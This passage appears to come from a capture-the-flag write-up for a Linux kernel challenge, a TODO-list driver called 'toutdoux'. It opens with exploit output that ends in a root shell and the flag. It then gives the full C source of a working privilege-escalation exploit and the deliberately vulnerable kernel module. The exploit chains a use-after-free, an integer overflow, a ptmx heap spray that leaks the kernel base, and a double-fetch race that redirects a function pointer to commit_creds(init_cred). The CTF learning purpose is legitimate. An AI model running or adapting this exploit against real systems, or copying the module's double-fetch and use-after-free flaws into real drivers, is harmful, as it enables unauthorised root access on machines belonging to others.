0 0 0 0 0 0 0 0 
pty_unix98_ops @0xffffffffb0a832a0!
kernel_base @0xffffffffaf800000!
Attacking the race condition
commit_creds @0xffffffffaf89a0d0!
init_cred @0xffffffffb10507a0!
[+] root !
/bin/sh: can't access tty; job control turned off
/ # whoami
whoami: unknown uid 0
/ # cat /flag 
STHACK{N3x7_74sk:_fix_7h3_vuln3r4bili7i3s_0n_7h3_70u7d0ux_m0dul3_:3_(G00d_j0b_ch4ll3ng3r_!)}

You can find the source of both the exploit and challenge right below :

#include <asm-generic/errno-base.h>
#include <errno.h>
#include <fcntl.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/msg.h>
#include <unistd.h>
#include <pthread.h>

#define TASK_NAME_SIZE 32
#define TASK_DESCRIPTION_SIZE 960

struct user_task {
  unsigned int id;
  char *name;
  char *description;
};
#define user_task_t struct user_task

enum actions {
  A_CREATE = 0,
  A_READ,
  A_DELETE,
  A_COMPLETE,
  A_FINISH_UPDATE_DESC,
  A_SET_IN_PROGRESS,
  A_RENDER,
  A_UPDATE_NAME
};

int fd = 0;

static inline user_task_t *alloc_ut(char *name, char *description) {
  user_task_t *ut = malloc(sizeof(user_task_t));
  if (!ut) {
    printf("Error in malloc()\n");
    exit(2);
  }

  ut->name = name;
  ut->description = description;
  return ut;
}

int task_create(int fd, user_task_t *ut) {
  int id = ioctl(fd, A_CREATE, ut);
  if (id <= 0) {
    printf("task_create() error: %d\n", id);
    exit(1);
  }
  return id;
}

int task_update_name(int fd, user_task_t *ut) {
  int id = ioctl(fd, A_UPDATE_NAME, ut);
  if (id != 0) {
    return -1;
  }
  return 0;
}

int task_delete(int fd, user_task_t *ut) { return ioctl(fd, A_DELETE, ut); }

int task_read(int fd, user_task_t *ut) {
  int res = ioctl(fd, A_READ, ut);
  if (res == -1) {
    if (errno == EPERM) {
      printf("task_read: can't read task, it is completed already\n");
      return EPERM;
    } else {
      printf("task_read: %d\n", errno);
      exit(1);
    }
  }
  return 0;
}

void task_render(int fd, user_task_t *t) {
  int res = ioctl(fd, A_RENDER, t);
  if (res == -1) {
    printf("task_render: %d\n", res);
    exit(1);
  }
}

void high_task_render(int fd, int id) {
  char *buf = malloc(1600);
  user_task_t *ut = alloc_ut(NULL, buf);
  ut->id = id;
  task_render(fd, ut);
  puts(ut->description);
  free(buf);
}

int task_complete(int fd, user_task_t *ut) { return ioctl(fd, A_COMPLETE, ut); }

int task_update_description(int fd, user_task_t *ut) {
  int res = ioctl(fd, A_FINISH_UPDATE_DESC, ut);
  if (res == -1) {
    if (errno == EFAULT) {
      printf("task_update_description: error in copy_to_user()\n");
      return EFAULT;
    } else {
      printf("task_update_description: %d\n", errno);
      exit(1);
    }
  }
  return 0;
}

unsigned long bytes_to_ull(unsigned char *bytes) {
  return ((unsigned long)bytes[7] << 56) | ((unsigned long)bytes[6] << 48) |
         ((unsigned long)bytes[5] << 40) | ((unsigned long)bytes[4] << 32) |
         ((unsigned long)bytes[3] << 24) | ((unsigned long)bytes[2] << 16) |
         ((unsigned long)bytes[1] << 8) | ((unsigned long)bytes[0]);
}

void dump(unsigned long *s, size_t n) {
  if (n % 8 != 0) {
    printf("dump(): n (%d) is not a multiple of 8 (%d)\n", n, n % 8);
    exit(-1);
  }
  int i = 0;
  for (; i < n; i += 8) {
    for (int cols = 0; cols < 8; cols++) {
      printf("%lx ", s[i + cols]);
    }
    puts("");
  }
}

void open_device() {
  fd = open("/dev/toutdoux", 0);
  if (fd < 0) {
    printf("Cannot open device file\n");
    exit(-1);
  }
}

void spray_it() {
  for (int i = 0; i < 40; i++) {
    int res = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    if (res < 0) {
      perror("open ptmx");
      exit(1);
    }
  }
}

#define KASLR_BASE_MIN 0xffffffff80000000UL
#define KASLR_BASE_MAX 0xffffffffc0000000UL

// Return true if pattern matches
int identify_tty_struct_fops(unsigned long *s) {
  if (s[3] < KASLR_BASE_MIN || s[3] >= KASLR_BASE_MAX)
    return 0;
  return 1;
}


// readelf --wide -s ./solve/elf-image| grep " _text"
//  95848: ffffffff81000000     0 FUNC    GLOBAL DEFAULT    1 _text
// readelf --wide -s ./solve/elf-image| grep pty_unix98_ops
//  31890: ffffffff822832a0     0 OBJECT  LOCAL  DEFAULT    2 pty_unix98_ops
// readelf --wide -s ./solve/elf-image| grep " init_cred"
// 124241: ffffffff828507a0     0 OBJECT  GLOBAL DEFAULT   12 init_cred
// readelf --wide -s ./solve/elf-image| grep " commit_creds"
//  97735: ffffffff8109a0d0     0 FUNC    GLOBAL DEFAULT    1 commit_creds

ssize_t kernel_base = 0;
#define SYM_pty_unix98_ops 0x12832a0
#define SYM_commit_creds 0x9a0d0
#define SYM_init_cred 0x18507a0

void *race_thread(void *arg) {
  ssize_t commit_creds = kernel_base + SYM_commit_creds;
  printf("commit_creds @0x%lx!\n", commit_creds);
  ssize_t init_cred = kernel_base + SYM_init_cred;
  printf("init_cred @0x%lx!\n", init_cred);

  ssize_t payload[7];
  payload[0] = 0xDECAFBADDECAFBAD;
  payload[1] = 0xDECAFBADDECAFBAD;
  payload[2] = 0xDECAFBADDECAFBAD;
  payload[3] = 0xDECAFBADDECAFBAD;
  payload[4] = init_cred;
  payload[5] = commit_creds;
  payload[6] = 0;

  user_task_t *task = (user_task_t *)arg;
  while (1)
    strncpy(task->name, (char*)payload, 8 * 8);
  return NULL;
}

void *exploit_thread(void *arg) {
  user_task_t *task = (user_task_t *)arg;
  char name[TASK_NAME_SIZE] = "legitimate name\x00";

  while (1) {
    strncpy(task->name, name, TASK_NAME_SIZE);
    if (task_update_name(fd, task) == -1)
      continue;

    task->description = malloc(1600);
    task_render(fd, task);
    free(task->description);

    if (getuid() == 0) {
      puts("[+] root !");
      system("/bin/sh");
      exit(0);
    }
  }
  return NULL;
}


int main() {
  open_device();

  // UAF situation setup
  char name[TASK_NAME_SIZE] = "This is task 1\x00";
  char *description = calloc(TASK_DESCRIPTION_SIZE, 1);
  strncpy(description, "This is description of task 1\x00", 30);

  user_task_t *task = alloc_ut((char *)&name, description);

  int id = task_create(fd, task);
  printf("First task id = %d\n", id);

  task->id = id;
  task_read(fd, task);
  printf("task->name = %s\n", task->name);
  printf("task->description = %s\n", task->description);

  high_task_render(fd, task->id);

  task->description = NULL;
  task_update_description(fd, task);
  puts("UAF triggered");

  task->name = calloc(TASK_NAME_SIZE, 1);
  task->description = calloc(TASK_DESCRIPTION_SIZE, 1);

  for (int i = 1; i != 256; i++)
    task_complete(fd, task);
  puts("int overflow triggered");

spray:
  puts("Spraying like it's nothing !");
  spray_it();

  task_read(fd, task);
  dump((unsigned long *)task->description,
       TASK_DESCRIPTION_SIZE / sizeof(unsigned long));

  int identified = identify_tty_struct_fops((unsigned long *)task->description);
  if (!identified)
    goto spray;

  ssize_t pty_unix98_ops =
      bytes_to_ull((unsigned char *)(task->description) + 24);
  printf("pty_unix98_ops @0x%lx!\n", pty_unix98_ops);

  kernel_base = pty_unix98_ops - SYM_pty_unix98_ops;
  printf("kernel_base @0x%lx!\n", kernel_base);


  puts("Attacking the race condition");
  task->name = malloc(200);
  pthread_t racer, shell;
  pthread_create(&racer, NULL, race_thread, task);
  pthread_create(&shell, NULL, exploit_thread, task);
  pthread_join(shell, NULL);

  return 0;
}

#include <asm-generic/errno-base.h>
#include <linux/device.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/slab.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "toutdoux"
#define CLASS_NAME "toutdoux"

MODULE_AUTHOR("Kaddate");
MODULE_DESCRIPTION("Mutualized TODO list for our Projects ! :3");
MODULE_LICENSE("GPL");

#define TASK_NAME_SIZE 32
#define TASK_DESCRIPTION_SIZE 960
#define RENDER_BUF_SIZE 1600
#define MAX_TASKS 100

struct __attribute__((packed)) task {
  unsigned int id;
  unsigned char inProgress;
  unsigned char completed;
  char name[TASK_NAME_SIZE];
  char *description;
  int (*render_fn)(char *name, char *description, unsigned char completed,
                   unsigned char inProgress, char *out_buf);
};
#define task_t struct task

struct user_task {
  unsigned int id;
  char *name;
  char *description;
};
#define user_task_t struct user_task

enum actions {
  A_CREATE = 0,
  A_READ,
  A_DELETE,
  A_COMPLETE,
  A_FINISH_UPDATE_DESC,
  A_SET_IN_PROGRESS,
  A_RENDER,
  A_UPDATE_NAME
};

/* --- forward declarations --- */
static long toutdoux_ioctl(struct file *file, unsigned int action,
                           unsigned long args);
uint get_available_todo_index(void);
uint is_id_valid(uint id);
uint get_task_idx_from_id(uint id);
int task_create(char *name_buf, char *description_buf);
int task_complete(int id);
int task_delete(int id);
int task_set_in_progress(uint id);
int task_finish_update_desc(uint id, char *description_buf);
int get_task_infos(int id, char *name_buf, char *description_buf);
int default_render(char *description, char *name, unsigned char completed,
                   unsigned char inProgress, char __user *out_buf);
int task_update_name(int id, char*name);

/* --- globals --- */
static struct file_operations toutdoux_fops = {.unlocked_ioctl =
                                                   toutdoux_ioctl};
static DEFINE_MUTEX(toutdoux_lock);
static int major;
static struct class *toutdoux_class = NULL;
static struct device *toutdoux_device = NULL;

task_t todos[MAX_TASKS] = {0};
unsigned int task_counter = 0;

/* --- ioctl --- */
static long toutdoux_ioctl(struct file *file, unsigned int action,
                           unsigned long args) {
  long ret = 0;
  mutex_lock(&toutdoux_lock);

  user_task_t u_task;
  if (copy_from_user(&u_task, (void __user *)args, sizeof(u_task))) {
    mutex_unlock(&toutdoux_lock);
    return -EFAULT;
  }

  char name[TASK_NAME_SIZE] = {0};
  char description[TASK_DESCRIPTION_SIZE] = {0};

  switch (action) {

  case A_CREATE:
    if (copy_from_user(name, u_task.name, TASK_NAME_SIZE) ||
        copy_from_user(description, u_task.description,
                       TASK_DESCRIPTION_SIZE)) {
      ret = -EFAULT;
      break;
    }
    ret = task_create(name, description);
    break;

  case A_UPDATE_NAME:
    ret = task_update_name(u_task.id, u_task.name);
    break;

  case A_READ:
    ret = get_task_infos(u_task.id, u_task.name, u_task.description);
    break;

  case A_DELETE:
    ret = task_delete(u_task.id);
    break;

  case A_COMPLETE:
    ret = task_complete(u_task.id);
    break;

  case A_FINISH_UPDATE_DESC:
    ret = task_finish_update_desc(u_task.id, u_task.description);
    break;

  case A_SET_IN_PROGRESS:
    ret = task_set_in_progress(u_task.id);
    break;

  case A_RENDER: {
    if (!is_id_valid(u_task.id)) {
      ret = -EINVAL;
      break;
    }
    uint idx = get_task_idx_from_id(u_task.id);
    if (idx == (uint)-1) {
      ret = -EINVAL;
      break;
    }
    task_t *t = &todos[idx];
    ret = t->render_fn(t->description, t->name, t->completed, t->inProgress,
                       u_task.description);
    break;
  }

  default:
    ret = -EINVAL;
  }

  mutex_unlock(&toutdoux_lock);
  return ret;
}

/* --- helpers --- */
uint get_available_todo_index(void) {
  for (int i = 0; i < MAX_TASKS; i++)
    if (todos[i].id == 0)
      return i;
  return -1;
}

uint is_id_valid(uint id) {
  for (int i = 0; i < MAX_TASKS; i++)
    if (todos[i].id == id)
      return 1;
  return 0;
}

uint get_task_idx_from_id(uint id) {
  for (int i = 0; i < MAX_TASKS; i++)
    if (todos[i].id == id)
      return i;
  return -1;
}

/* --- actions --- */
int task_create(char *name_buf, char *description_buf) {
  uint idx = get_available_todo_index();
  if (idx == (uint)-1)
    return -ENOSPC;

  char *description = kzalloc(TASK_DESCRIPTION_SIZE, GFP_KERNEL);
  if (!description)
    return -ENOMEM;

  memset(todos[idx].name, 0, TASK_NAME_SIZE);
  memcpy(todos[idx].name, name_buf, TASK_NAME_SIZE);
  memcpy(description, description_buf, TASK_DESCRIPTION_SIZE);

  task_counter++;
  todos[idx].id = task_counter;
  todos[idx].completed = 0;
  todos[idx].inProgress = 0;
  todos[idx].description = description;
  todos[idx].render_fn = default_render;
  return todos[idx].id;
}

int task_complete(int id) {
  if (!is_id_valid(id))
    return -EINVAL;
  uint idx = get_task_idx_from_id(id);
  todos[idx].completed += 1;
  todos[idx].inProgress = 0;
  return 0;
}

int get_task_infos(int id, char *name_buf, char *description_buf) {
  if (!is_id_valid(id))
    return -EINVAL;
  uint idx = get_task_idx_from_id(id);
  if (todos[idx].completed)
    return -EPERM;
  if (copy_to_user(name_buf, todos[idx].name, TASK_NAME_SIZE))
    return -EFAULT;
  if (copy_to_user(description_buf, todos[idx].description,
                   TASK_DESCRIPTION_SIZE))
    return -EFAULT;
  return 0;
}

int task_update_name(int id, char *name) {
  if (strnlen_user(name, TASK_DESCRIPTION_SIZE) >= TASK_NAME_SIZE) {
    return -EPERM;
  }

  if (!is_id_valid(id)) {
    return -EINVAL;
  }
  uint idx = get_task_idx_from_id(id);

  // double fetch here
  if (copy_from_user(&(todos[idx].name), name, strnlen_user(name, TASK_DESCRIPTION_SIZE))) {
    return -EFAULT;
  }
  return 0;
}

int task_delete(int id) {
  if (!is_id_valid(id))
    return -EINVAL;
  uint idx = get_task_idx_from_id(id);
  memset(todos[idx].name, 0, TASK_NAME_SIZE);
  kfree(todos[idx].description);
  todos[idx].description = NULL;
  todos[idx].id = 0;
  todos[idx].completed = 0;
  return 0;
}

int task_set_in_progress(uint id) {
  if (!is_id_valid(id))
    return -EINVAL;
  uint idx = get_task_idx_from_id(id);
  todos[idx].inProgress = 1;
  return 0;
}

int task_finish_update_desc(uint id, char *description_buf) {
  if (!is_id_valid(id))
    return -EINVAL;
  uint idx = get_task_idx_from_id(id);
  if (todos[idx].completed)
    return -EPERM;

  char *new_desc = kzalloc(TASK_DESCRIPTION_SIZE, GFP_KERNEL);
  if (!new_desc)
    return -ENOMEM;

  todos[idx].completed = 1;
  kfree(todos[idx].description);

  if (copy_from_user(new_desc, description_buf, TASK_DESCRIPTION_SIZE)) {
    kfree(new_desc);
    return -EFAULT;
  }

  todos[idx].description = new_desc;
  return 0;
}

int default_render(char *description, char *name, unsigned char completed,
                   unsigned char inProgress, char __user *out_buf) {
  char *tmp = kzalloc(RENDER_BUF_SIZE, GFP_KERNEL);
  if (!tmp)
    return -ENOMEM;

  int len = 0;
  int line_width = 60;

  len += snprintf(tmp + len, RENDER_BUF_SIZE - len,
                  "  .----------------------------------.\n"
                  "  | %-32.32s |\n"
                  "  |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|\n",
                  name);

  int desc_len = strnlen(description, TASK_DESCRIPTION_SIZE);
  for (int i = 0; i < desc_len; i += line_width)
    len += snprintf(tmp + len, RENDER_BUF_SIZE - len, "  | %-*.*s |\n",
                    line_width, line_width, description + i);

  len += snprintf(tmp + len, RENDER_BUF_SIZE - len,
                  "  '----------------------------------'\n"
                  "          \\\n"
                  "           \\\n"
                  "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢎⠱⠊⡱\n"
                  "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠤⠒⠒⠒⠒⠤⢄⣑⠁\n"
                  "⠀⠀⠀⠀⠀⠀⠀⢀⡤⠒⠝⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠲⢄⡀\n"
                  "⠀⠀⠀⠀⠀⢀⡴⠋⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⢰⣢⠐⡄⠀⠉⠑⠒⠒⠒⣄\n"
                  "⠀⠀⠀⣀⠴⠋⠀⠀⠀⡎⠀⠘⠿⠀⠀⢠⣀⢄⡢⠉⣔⣲⢸\n"
                  "⡠⠒⠉⠀⠀⠀⠀⠀⡰⢅⠫⠭⠝⠀⠀⠀⠀⠀⠀⢀⣀⣤⡋⠙⠢⢄⣀⣀⡠⠊\n"
                  "⢇⠀⠀⠀⠀⠀⢀⠜⠁⠀⠉⡕⠒⠒⠒⠒⠒⠛⠉⠹⡄⣀⠘⡄\n"
                  "⠀⠑⠂⠤⠔⠒⠁⠀⠀⡎⠱⡃⠀⠀⡄⠀⠄⠀⠀⠠⠟⠉⡷⠁\n"
                  "⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⠤⠤⠴⣄⡸⠤⣄⠴⠤⠴⠄⠼\n"
                  "\n"
                  "  status: %s\n",
                  inProgress  ? "doing it rn!!"
                  : completed ? "DONE!! ez"
                              : "hasnt started lol");

  int ret = copy_to_user(out_buf, tmp, RENDER_BUF_SIZE) ? -EFAULT : 0;
  kfree(tmp);
  return ret;
}

/* --- init / exit --- */
static int __init init_toutdoux(void) {
  major = register_chrdev(0, DEVICE_NAME, &toutdoux_fops);
  if (major < 0)
    return -1;

  toutdoux_class = class_create(THIS_MODULE, CLASS_NAME);
  if (IS_ERR(toutdoux_class)) {
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }

  toutdoux_device =
      device_create(toutdoux_class, 0, MKDEV(major, 0), 0, DEVICE_NAME);
  if (IS_ERR(toutdoux_device)) {
    class_destroy(toutdoux_class);
    unregister_chrdev(major, DEVICE_NAME);
    return -1;
  }

  return 0;
}

static void __exit exit_toutdoux(void) {
  device_destroy(toutdoux_class, MKDEV(major, 0));
  class_unregister(toutdoux_class);
  class_destroy(toutdoux_class);
  unregister_chrdev(major, DEVICE_NAME);
}

module_init(init_toutdoux);
module_exit(exit_toutdoux);
  • https://ir0nstone.gitbook.io/notes/binexp/kernel/page
  • https://n132.github.io/2024/02/09/IPS.html
  • https://elixir.bootlin.com/linux/v6.0.1/source